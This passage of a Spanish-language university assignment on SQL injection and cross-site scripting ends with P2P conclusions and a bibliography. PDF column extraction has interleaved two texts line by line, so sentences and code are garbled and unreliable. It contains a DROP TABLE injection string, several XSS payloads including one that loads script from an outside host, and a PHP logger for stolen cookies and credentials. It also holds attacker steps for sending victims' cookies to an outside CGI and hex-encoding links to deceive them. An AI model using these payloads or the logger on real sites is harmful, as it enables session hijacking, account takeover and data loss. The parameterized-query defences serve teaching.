primeros das de la Web.

La intrusin ocurre durante la ejecucin


del programa vulnerable, ya sea, en
computadores de escritorio o bien en
sitios Web, en este ltimo caso
obviamente ejecutndose en el servidor
que los aloja. La vulnerabilidad se
puede
producir
automticamente
cuando
un
programa
"arma
descuidadamente" una sentencia SQL
en tiempo de ejecucin, o bien durante
la fase de desarrollo, cuando el
programador explicita la sentencia SQL
a ejecutar en forma desprotegida. En
cualquier caso, siempre que el
programador necesite y haga uso de
parmetros a ingresar por parte del
usuario, a efectos de consultar una
base de datos; ya que, justamente,
dentro de los parmetros es donde se
puede incorporar el cdigo SQL intruso.

Al ejecutarse la consulta en la base de


datos, el cdigo SQL inyectado tambin
se ejecutar y podra hacer un
sinnmero de cosas, como insertar
registros, modificar o eliminar datos,
autorizar accesos e, incluso, ejecutar
otro tipo de cdigo malicioso en el
computador. Por ejemplo, asumiendo
que el siguiente cdigo reside en una
aplicacin web y que existe un
parmetro
"nombreUsuario"
que
contiene el nombre de usuario a
consultar, una inyeccin SQL se podra
provocar de la siguiente forma:

Esta situacin es usualmente causada al no validar


correctamente los datos de entrada que son usados
en cierta aplicacin, o no sanear la salida
adecuadamente para su presentacin como pgina El cdigo SQL original y vulnerable es:
web.
Si el operador escribe un nombre, por
ejemplo
"Alicia",
nada
anormal
suceder, la aplicacin generara una
Esta vulnerabilidad puede estar presente de las sentencia SQL similar a la siguiente,
que es perfectamente correcta, en

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

siguientes formas:

donde se seleccionaran todos los


registros con el nombre "Alicia" en la
base de datos:

Directa (tambin llamada Persistente): este tipo de SELECT * FROM usuarios WHERE
XSS comnmente filtrado, y consiste en insertar nombre = 'Alicia';
cdigo HTML peligroso en sitios que lo permitan;
incluyendo as etiquetas como
Pero si un operador malintencionado
escribe como nombre de usuario a
<script> o <iframe>.
consultar:
Indirecta (tambin llamada Reflejada): este tipo de "Alicia';
DROP
TABLE
usuarios;
XSS consiste en modificar valores que la aplicacin SELECT * FROM datos WHERE
web utiliza para pasar variables entre dos pginas,
nombre LIKE '%"
sin usar sesiones y sucede cuando hay un mensaje o
una ruta en la URL del navegador, en una cookie, o
cualquier otra cabecera HTTP (en algunos
navegadores y aplicaciones web, esto podra
extenderse al DOM del navegador).

(sin las comillas externas), se generara


la siguiente consulta SQL, (el color
verde es lo que pretende el
programador, el azul es el dato, y el
rojo, el cdigo SQL inyectado):
SELECT * FROM usuarios WHERE
nombre = 'Alicia';
DROP TABLE usuarios;
SELECT * FROM
nombre LIKE '%';

datos

WHERE

En la base de datos se ejecutara la


consulta en el orden dado, se
seleccionaran todos los registros con el
nombre 'Alicia', se borrara la tabla
'usuarios' y finalmente se seleccionara
toda la tabla "datos", que no debera
estar disponible para los usuarios web
comunes. En resumen, cualquier dato
de la base de datos puede quedar
disponible para ser ledo o modificado
por un usuario malintencionado. Ntese
por qu se llama "Inyeccin" SQL. Si se
observa el cdigo malicioso, de color
rojo, se notar que est insertado en el
medio del cdigo bueno, el verde. As,
el cdigo rojo ha sido "inyectado" dentro
del verde.

La inyeccin SQL es fcil de evitar, por


parte del programador, en la mayora de

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

los lenguajes de programacin que


permiten desarrollar aplicaciones web.
En la siguiente seccin se trata
brevemente ese tema.
Ataque persistente. Muchos sitios web hospedan
boletines de noticias donde usuarios registrados
pueden publicar mensajes. A un usuario registrado
comnmente se le sigue la pista usando una cookie
de ID de sesin autorizndole para publicar
mensajes. Si un atacante public un mensaje
conteniendo un javascript hbilmente construido, un
usuario leyendo este mensaje podra tener sus
cookies y su cuenta comprometidas.

Ataque a ciegas por inyeccin SQL, en


ingls, Blind SQL injection, es una
tcnica de ataque que utiliza la
inyeccin SQL.

Se evidencia cuando en una pgina


web, por una falla de seguridad, no se
muestran mensajes de error al no
XSS Indirecto (reflejado). Supongamos que un sitio producirse resultados correctos ante
una consulta a la base de datos,
web tiene la siguiente forma:
mostrndose
siempre
el
mismo
http://www.example.com/home.asp?frame=menu.asp contenido (es decir, solo hay respuesta
si el resultado es correcto).
y que al acceder se crear un documento HTML
enlazando con un frame a menu.asp.

Sentencias condicionales con el tipo "Or


1=1" o "having 1=1" ofrecen respuestas
En este ejemplo, qu pasara si se pone como URL siempre correctas (true o verdadero) por
del
frame
un
cdigo
javascript? lo cual suelen ser usadas por los
javascript:while(1)alert("Este
mensaje
saldr programadores
como formas
de
indefinidamente");
comprobacin.
Si este enlace lo pone un atacante hacia una vctima,
un visitante podr verlo y ver que es del mismo
dominio, suponiendo que no puede ser nada malo y
de resultado tendr un bucle infinito de mensajes.

Un atacante en realidad tratara de colocar un script


que robe las cookies de la vctima, para despus
poder personificarse como con su sesin, o hacer
automtico el proceso con el uso de la biblioteca
cURL o alguna similar. De esta forma, al recibir la
cookie, el atacante podra ejecutar acciones con los
permisos de la vctima sin siquiera necesitar su
contrasea.
Otro uso comn para estas vulnerabilidades es lograr
hacer phishing. Quiere ello decir que la vctima ve en
la barra de direcciones un sitio, pero realmente est
en otra. La vctima introduce su contrasea y se la

El problema para la seguridad de la


pgina radica en que esta tcnica es
utilizada
en
combinacin
con
diccionarios o fuerza bruta para la
bsqueda, carcter por carcter, de una
contrasea, un nombre de usuario, un
nmero de telfono o cualquier otra
informacin que albergue la base de
datos atacada; para ello se utiliza
cdigo SQL especfico que "va
probando" cada carcter consiguiendo
un resultado positivo acumulable
cuando hay una coincidencia.

De esta manera se puede saber, por

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

enva al atacante. Una pgina como la siguiente:


error.php?error=Usuario%20Invalido

ejemplo, que una contrasea comienza


por "F...", luego contina con ".i...", y
luego "..r...", etc (acumula Fir...), hasta
dar con la palabra completa.

es probablemente vulnerable a XSS indirecto, ya que


si escribe en el documento "Usuario Invlido", esto
significa que un atacante podra insertar HTML y
JavaScript si as lo desea.
Existen programas que automatizan
este proceso de "tanteos" letra por letra
en el resultado de la consulta SQL, que
un intruso podra enviar inyectado.
Por ejemplo, un tag como <script> que ejecute
cdigo javascript, cree otra sesin bajo otro usuario y
mande la sesin actual al atacante. Para probar
vulnerabilidades de XSS en cookies, se puede
modificar el contenido de una cookie de forma
sencilla, usando el siguiente script. Slo se debe
colocar en la barra de direcciones, y presionar
'Enter'.
javascript:void
prompt("Introduce
la
cookie:",document.cookie).replace(/[^;]+/g,function(_)
{document.cookie=_;});
XSS Directo (persistente). Funciona localizando
puntos dbiles en la programacin de los filtros de
HTML si es que existen, para publicar contenido
(como blogs, foros, etc.). Normalmente el atacante
tratara de insertar tags como <iframe>, o <script>,
pero en caso de fallar, el atacante puede tratar de
poner tags que casi siempre estn permitidas y es
poco conocida su capacidad de ejecutar cdigo. De
esta forma el atacante podra ejecutar cdigo
malicioso.
Ejemplos:Una posibilidad es usar atributos que
permiten ejecutar cdigo.
<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://yoursite/xss.htc);">
<DIV
STYLE="background-image:
url(javascript:alert('XSS'))">
Tambin se puede crear un DIV con backgroundimage: url(javascript:eval(this.fu)) como estilo y
aadir al DIV un campo llamado fu que contenga el
cdigo a ejecutar, por ejemplo:

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

<div fu="alert('Hola mundo');" STYLE="backgroundimage: url(javascript:eval(this.fu))">


AJAX
Usar AJAX para ataques de XSS no es tan conocido,
pero s peligroso. Se basa en usar cualquier tipo de
vulnerabilidad de XSS para introducir un objeto
XMLHttp y usarlo para enviar contenido POST, GET,
sin conocimiento del usuario.
Este se ha popularizado con gusanos de XSS que se
encargan de replicarse por medio de vulnerabilidades
de XSS persistentes (aunque la posibilidad de usar
XSS reflejados es posible).
La codificacin es base64. Script para obtener
credenciales en tipo BASIC. Esta tcnica tambin es
llamada XST, Cross Site Tracing.
Por cuestiones de seguridad, Mozilla Firefox y el
Internet Explorer no permiten usar el mtodo TRACE.
Y este cdigo guardara un log con las cookies que
enviara el atacante.

<?php
$archivo = fopen('log2.htm','a');
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USUARIO Y PASSWORD:
'.htmlentities(base64_decode($usuario)));
fwrite($archivo,
'<br
'.htmlentities($cookie).'<br
'.htmlentities($re));

/>Cookie:
/>Pagina:

fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora:
' .$fecha. '</hr>');
fclose($archivo);

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

?>
Dependiendo de la aplicacin web en particular
algunas de las variables y el posicionamiento de las
inyecciones puede ser necesario ajustar. Tenga en
cuenta lo siguiente es un ejemplo sencillo de la
metodologa de un atacante. En nuestro ejemplo
vamos a explotar un agujero de cross site scripting
en un permetro de "a.php" llamada "variable" a
travs de una solicitud normal. Este es el tipo ms
comn de agujero de cross site scripting que existe.

Ruby on Rails

Paso 1: Orientacin

Project.find(:all, :conditions => ["name =


?", params[:name]])

En el framework Ruby on Rails (RoR),


las
consultas
son
verificadas
automticamente por cualquiera de los
mtodos de bsqueda incluidos. Por
ejemplo:

Despus de haber encontrado un agujero de XSS en


una aplicacin web en un sitio web, comprobar para # o bien
ver si emite cookies. Si cualquier parte de la pgina Project.find(:all, :conditions => {:name
web utiliza cookies, entonces es posible robar de sus => params[:name]})
usuarios.
La nica forma de que un usuario mal
Paso 2: Pruebas
intencionado pueda usar una inyeccin
Desde agujeros XSS son diferentes en la forma en de SQL en RoR es que mediante cdigo
que son explotados, habr que hacer con el fin de se transforme la variable a tipo string y
hacer que la salida creble algunas pruebas. se utilice como argumento de la
Mediante la insercin de cdigo en el guin, su salida bsqueda directamente. Por ejemplo:
se cambiar y la pgina puede aparecer roto. (El
resultado final es crucial y el atacante tendr que
hacer algn retoque en el cdigo para hacer que la
pgina parece normal.) A continuacin, tendr que
insertar algunos Javascript (u otro lenguaje de
scripting del lado del cliente) en el que seala URL
para la parte del sitio que es vulnerable. A
continuacin he proporcionado algunos enlaces que
son de uso pblico cuando las pruebas de agujeros
XSS. Estos enlaces siguientes, cuando se hace clic
en la enviar a los usuarios de galletas para
www.cgisecurity.com/cgi-bin/cookie.cgi~~V y se lo
mostrar. Si usted ve una pgina que muestra una
cookie entonces secuestro de sesin de la cuenta del
usuario puede ser posible.
Paso 3: XSS Ejecucin

# NO SE DEBERA HACER ESTO


Project.find(:all, :conditions => "name =
'#{params[:name]}'")
Perl[editar]
En lenguaje Perl DBI, el mtodo
DBI::quote
filtra
los
caracteres
especiales (asumiendo que la variable
$sql contiene una referencia a un objeto
DBI):

$query = $sql->prepare

Entregue su URL o el uso de correo electrnico


(
diseado u otro software relacionado para ayudar a
lanzar la misma. Asegrese de que si usted
"SELECT * FROM
proporciona la direccin URL para el usuario (a WHERE nombre = "
travs de correo electrnico, la finalidad, o por otros
.
medios) que al menos HEX codificar ella. El cdigo

usuarios

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

es obviamente aspecto sospechoso que un montn


de personajes hexagonales puede engaar a
algunas personas.

$sql->quote($nombre_usuario)
);

En mi ejemplo, yo slo hacia adelante al usuario O tambin se puede usar la


placeholder
(con
cookie.cgi. Un atacante con ms tiempo podra hacer caracterstica
comillado
automtico)
como
sigue:
algunas redirecciones y combo de XSS para robar la
cookie del usuario, y devolverlos a la pgina web sin
darse cuenta del robo de cookies.
Algunos programas de correo electrnico pueden $query = $sql->prepare("SELECT *
ejecutar el Javascript en la apertura de un mensaje o FROM usuario WHERE nombre = ?");
si el Javascript est contenida en un archivo adjunto $query->execute($nombre_usuario);
del mensaje. Los sitios ms grandes como Hotmail
no permiten Javascript adjuntos dentro pero lo hacen PHP[editar]
especial de filtrado para evitar el robo de cookies.
En el lenguaje PHP, hay diferentes
funciones que pueden servir de ayuda
para usar con distintos sistemas de
Paso 4: Qu hacer con estos datos
gestin de bases de datos.
Una vez que haya conseguido que el usuario ejecute
el agujero XSS, los datos se recogen y se enva a la
secuencia de comandos CGI. Ahora que tiene la
cookie puede utilizar una herramienta como
Si se usa MySQL, la funcin a usar es
Websleuth para ver si el robo de cuentas es posible.
mysql_real_escape_string:
Esto slo es un FAQ, no un documento detallado
sobre el robo de cookies y modificacin. Un nuevo
artculo publicado por David Endler de iDefense entra
en ms detalles sobre algunas de las formas de $query_result = mysql_query("SELECT
poner en marcha de forma automtica agujeros XSS. * FROM usuarios WHERE nombre = \""
.
Qu puedo hacer para protegerme a m mismo mysql_real_escape_string($nombre_us
uario) . "\"");
como un usuario? "
La manera ms fcil de protegerse a s mismo
como un usuario es slo para seguir enlaces de la
pgina web principal que desea ver. Si usted visita
un sitio web y enlaces a la CNN, por ejemplo, en
lugar de hacer clic en l visite la pgina principal de
CNN y usar su motor de bsqueda para encontrar el
contenido. Esto probablemente eliminar el noventa
por ciento del problema. A veces XSS puede ejecutar
automticamente al abrir un correo electrnico, datos
adjuntos de correo electrnico, leer un libro de
visitas, o boletn en los foros. Si usted planea abrir un
correo electrnico, o la lectura de un mensaje en un
tablero pblico de una persona que no sabe tener
cuidado. Una de las mejores maneras de protegerse
es para desactivar Javascript en su navegador. En IE

No obstante es ms recomendado usar


alternativas que ofrecen consultas
preparadas como la clase PDO.

$statement = $pdo->prepare("SELECT *
FROM usuarios WHERE nombre =
:nombre");
$statement->bindParam(':nombre',
$nombre_usuario);
$statement->execute();

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

activar la configuracin de seguridad en Alto. Esto $result = $statement->fetch();


puede prevenir el robo de cookies, y en general es
Y si se utiliza MySQLi...
una cosa segura que hacer.
Agujeros cross site scripting estn ganando
popularidad entre los hackers como agujeros fciles
de encontrar en grandes sitios web. Sitios web de
FBI.gov, CNN.com, Time.com, Ebay, Yahoo,
ordenador de Apple, Microsoft, Zdnet, Wired y
Newsbytes todos han tenido una forma u otra de
errores XSS.

// Con funciones

Al no fijar un XSS agujero esto podra permitir que


cuenta compromiso posible usuario en partes de su
sitio, ya que se agregan o se actualizan. Cross Site
Scripting se ha encontrado en varios sitios grandes
recientemente y han sido ampliamente publicitados.
Izquierda sin reparar, alguien puede descubrir y
publicar un aviso acerca de su empresa. Esto puede
daar la reputacin de su empresa, que representa
como siendo laxa en materia de seguridad. Esto, por
supuesto, tambin enva el mensaje a sus clientes
que usted no est tratando con cada problema que
se plantea, que se convierte en una cuestin de
confianza.

Parametrizacin de sentencias SQL

$conexion = mysqli_connect("host",
"usuario", "clave", "bdd");

$query
=
mysqli_query($conexion,
"SELECT * FROM usuarios WHERE
nombre
=
'"
.
mysqli_real_escape_string($conexion,
Los sitios web que usan SSL (https) no son en modo
ms protegidos que los sitios web que no estn $nombre) . "'");
cifrados. Las aplicaciones web funcionan de la // Orientado a objetos heredando la
misma manera que antes, excepto que el ataque se clase:
lleva a cabo en una conexin cifrada. La gente suele
pensar que porque ven la cerradura de su navegador $query = $this->query("SELECT *
que significa que todo es seguro. Esto simplemente FROM usuarios WHERE nombre = '" .
no es el caso.
$this->real_escape_string( $nombre ) .
"'");
Agujeros XSS pueden permitir la insercin
Javascript, lo que puede permitir la ejecucin // Sin hererdar la clase
limitada. Si un atacante para explotar un (orificio
=
$this->mysqlinavegador) defecto del navegador, entonces podra $query
>query("SELECT
*
FROM
usuarios
ser posible ejecutar comandos del lado del cliente. Si
la ejecucin de comandos fuera posible slo sera WHERE nombre = '" . $this->mysqliposible en el lado del cliente. En trminos simples >real_escape_string($nombre) . "'");
agujeros XSS pueden ser usados para ayudar a
explotar otros agujeros que puedan existir en su /* donde $this->mysqli es el enlace
mysqli a la base de datos */
navegador.

Connection con = (acquire Connection)


PreparedStatement
pstmt
=
con.prepareStatement("SELECT
*
FROM usuarios WHERE nombre = ?");
pstmt.setString(1, nombreUsuario);
ResultSet rset = pstmt.executeQuery();
Escape de las variables a insertar en la
sentencia SQL[editar]
Escapar el texto contenido en la
variable remplazando los caracteres
especiales en SQL por su equivalente
textual, de tal forma que SQL interprete

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

todo el contenido de la variable como si


fuera texto. Connection con = (acquire
Connection)
Statement
stmt
con.createStatement();

ResultSet
rset
=
stmt.executeQuery("SELECT * FROM
usuarios WHERE nombre = '" +
nombreUsuario.replace("\\",
"\\\\").replace("'", "\\'") + "';");
Tambin se puede utilizar el mtodo
escapeSQL
de
la
clase
StringEscapeUtils procedente de la
librera de Apache Commons Lang
Connection con = (acquire Connection)
Statement
stmt
con.createStatement();

ResultSet
rset
=
stmt.executeQuery("SELECT * FROM
usuarios WHERE nombre = '" +
StringEscapeUtils.escapeSQL(nombreU
suario) + "';");
se podra usar lo siguiente:
using( SqlConnection con = (acquire
connection) ) {
con. Open();
using( SqlCommand cmd = new
SqlCommand("SELECT
*
FROM
usuarios
WHERE
nombre
=
@nombreUsuario", con) ) {
cmd.Parameters.AddWithValue("@nom
breUsuario", nombreUsuario);
using( SqlDataReader
cmd.ExecuteReader() ){
}
}

rdr

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

CONCLUSIONES

 Las Aplicaciones Distribuidas: P2P, Facilitar el acceso a los contenidos de Internet


y permite aprovechar los recursos dispersos entre millones de usuarios al igual que
un acercamiento comunitario.
 Se logr poner en prctica cada uno de los temas expuestos en el mdulo del
curso, fortaleciendo los conocimientos adquiridos, y despejando dudas de los
conceptos y temas expuestos.
 Se aument el conocimiento, en cuanto al objetivo de Sistemas Distribuidos,
evidenciando el contexto de su aplicacin, dentro del avance de la tecnologa y
globalizacin.
 En el modelo P2P, los computadores estn siempre encendidas lo cual permite
tener archivos de nuestro inters disponibles todo el tiempo.
 Los principales usos de las aplicaciones P2P son: Comunidad Web. Cualquier
grupo con intereses en comn, pueden usar P2P para cambiar recursos.
 P2P da enormes posibilidades, como intercambio ms eficiente de informacin, ya
sea con proveedores o con clientes.
 Un elemento negativo de esta arquitectura es la poca fiabilidad, puede haber
contagio de virus, gusanos y troyanos camuflados

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA UNAD


Escuela de Ingenieras. Ingeniera Electrnica
Sistemas Distribuidos - 302090_5- 2015
Act. No. 2. Trabajo Colaborativo Unidad 2

Bibliografa

 Modulo: Sistemas Distribuidos. Granados Acua Gerardo. ECBTI, UNAD. Bucaramanga,


Colombia, 2009.
 Ova de presentacin del curso: Sistemas Distribuidos.
 Aula virtual: Sistemas Distribuidos.
 https://en.wikipedia.org/wiki/Gnutella
 http://rfc-gnutella.sourceforge.net/
 http://gtk-gnutella.sourceforge.net/en/?page=news
 https://en.wikibooks.org/wiki/The_World_of_Peer-toPeer_(P2P)/Networks_and_Protocols/Gnutella
 https://snap.stanford.edu/data/p2p-Gnutella31.html
 Centro de Escritura Javeriano. (2010). Normas APA Sexta Edicin. recuperado de:
www.apastyle.org.
 Jaime Salazar. (2015). MSX88 PASO A PASO. De:
https://www.youtube.com/watch?v=UUCUqNkVkCI
 Wikipedia. (2015). FastTrack. Wikipedia la enciclopedia libre: Fundacin Wikimedia Inc,
https://es.wikipedia.org/wiki/FastTrack
 Wikipedia. (2015). Freenet. Wikipedia la enciclopedia libre: Fundacin Wikimedia Inc,
https://es.wikipedia.org/wiki/Freenet

También podría gustarte